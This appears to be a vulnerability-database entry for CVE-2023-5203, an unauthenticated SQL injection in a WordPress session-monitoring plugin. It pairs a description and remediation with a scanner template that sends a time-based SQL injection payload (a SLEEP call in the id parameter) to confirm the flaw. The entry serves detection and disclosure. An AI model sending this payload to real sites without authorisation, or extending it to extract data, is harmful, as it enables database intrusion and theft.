WP Sessions Time Monitoring Full Automatic <= 1.0.8 - SQL Injection
CVE-2023-5203
Verified
Description
The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to SQL Injection via request parameters in all versions up to, and including, 1.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Severity
Critical
CVSS Score
9.8
Exploit Probability
43%
Published Date
February 24, 2026
Template Author
shivam kamboj
CVE-2023-5203.yaml
id: CVE-2023-5203
info:
name: WP Sessions Time Monitoring Full Automatic <= 1.0.8 - SQL Injection
author: Shivam Kamboj
severity: critical
description: |
The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to SQL Injection via request parameters in all versions up to, and including, 1.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Attackers can retrieve sensitive database information without authentication, leading to data breach and privacy violations.
remediation: |
Update to version 1.0.9 or later to fix the vulnerability.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/activitytime/wp-sessions-time-monitoring-full-automatic-108-unauthenticated-sql-injection
- https://wordpress.org/plugins/activitytime/
- https://nvd.nist.gov/vuln/detail/CVE-2023-5203
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-5203
epss-score: 0.42933
epss-percentile: 0.97536
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,activitytime
http:
- raw:
- |
@timeout: 30s
GET /?id=1%27%20AND%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%287%29%29%29test%29%20--%20 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration >= 7'
- 'status_code == 200'
- 'contains(body, "activitytime_tracker")'
- 'contains(content_type, "text/html")'
condition: and
# digest: 4a0a0047304502210082c9966d186a7849c2f1d3ab217cda95d7e41300dc59097eb0793662d984a47b02206f3e7db0ec6994d4c3d6928df9874212c6b6fa098718f55a0b8333e7cbdd67a7:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2023-5203
CWE ID:
cwe-89
Remediation Steps
Update to version 1.0.9 or later to fix the vulnerability.